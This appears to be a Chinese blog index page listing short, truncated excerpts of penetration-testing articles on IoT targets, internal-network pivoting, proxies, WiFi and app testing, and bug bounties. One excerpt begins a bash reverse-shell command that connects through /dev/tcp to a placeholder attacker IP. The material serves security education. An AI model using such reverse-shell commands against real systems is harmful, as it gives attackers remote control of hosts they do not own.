对物联网项目的一次黑盒渗透测试 下篇
我们从上面得到了172.16.*.*的新段落，接下来我对该段落进行了WEB端口的生存性检测，发现了路由管理界面。在这里尝试弱密码和爆破也没有得到相应的结果，但是现在我们的资产收集也没有新的...
admin
内网渗透测试使用的端口转发技术
内网渗透代理尤为重要。攻击者通过边界主机进入内网，经常将其作为横向渗透的跳板。但是，目前的内部网络大多部署了很多安全设备，网络结构复杂，对一些系统的访问会受到各种各样的阻碍，因此有必要使...
渗透测试中反弹shell-nc的使用方法
反弹Shell是指渗透测试中监听某个端口，然后通过目标连接攻击机监听的端口，在攻击机反弹得到目标机的Shell。通常在目标网络有防火墙或其他因素限制，导致无法持续控制目标，成执行命令受阻等情...
使用代理以及端口转发对服务器进行渗透
Http代理和Socks代理。Http代理使用Http协议，工作在应用层，主要用于代理浏览器访问网页。Socks代理使用Socks协议，工作在会话层，主要用于传输数据包。Socks代理分为...
BASH反弹shell在渗透过程的使用方法
使用Bash命令反弹Shell的Shell也称为终端或壳，是人与内核之间的翻译官，而Bash则是Linux中默认使用Bash反弹Shell的命令如下：bash-i˃&/dev/tcp/攻击机ip/攻击...
对网络安全公司的一次WIFI渗透测试 下篇
由于整个测试过程一直跟随大队，使用计算机不是最好的选择，也不是可行的选择，所以白色使用安装在OP6上的Linux模拟器:Andrax。具体操作步骤如下:1.检查并扫描网络(以下是xls格式转...
渗透工程师面试遇到的问题经历分享
小编近期报名参加了许多招聘面试，想借助这一项目将招聘面试的经过和招聘者明确提出的情况介绍一下下，与此同时复现某些招聘者的题目环境。这里有许多BUG环境在网络上都是有，因此 在这儿都没有太多的去自己复现...
对APP的抓包渗透测试 绕过代理进行改包攻击
作为一名平淡无奇的软件开发技术专业大学新生，在与新朋友沟通的过程中看到了1个较为拿手研发的朋友，另一方在普通高中的过程中应用php及其unity研发了1个安卓的英语听说训练练习app软...
SRC挖掘漏洞过程的一些经验分享
针对非架构的网站，登陆接口通常是不可或缺的，很有可能就在首页，也很有可能在某一相对路径下，藏着后台管理的登陆接口，在试着了多种多样方式 取得成功登陆以后，记住试着里边是不是存有未授...
物联网设备的渗透测试过程
2021年7月中期，春兰杯公布公开今年的赛事题型，小编也有辛参加了今年的春兰杯赛事。依照PwnMonkey&DC0086微信公众号的技术方位，咱们准备来聊一聊当中有关nbiot机...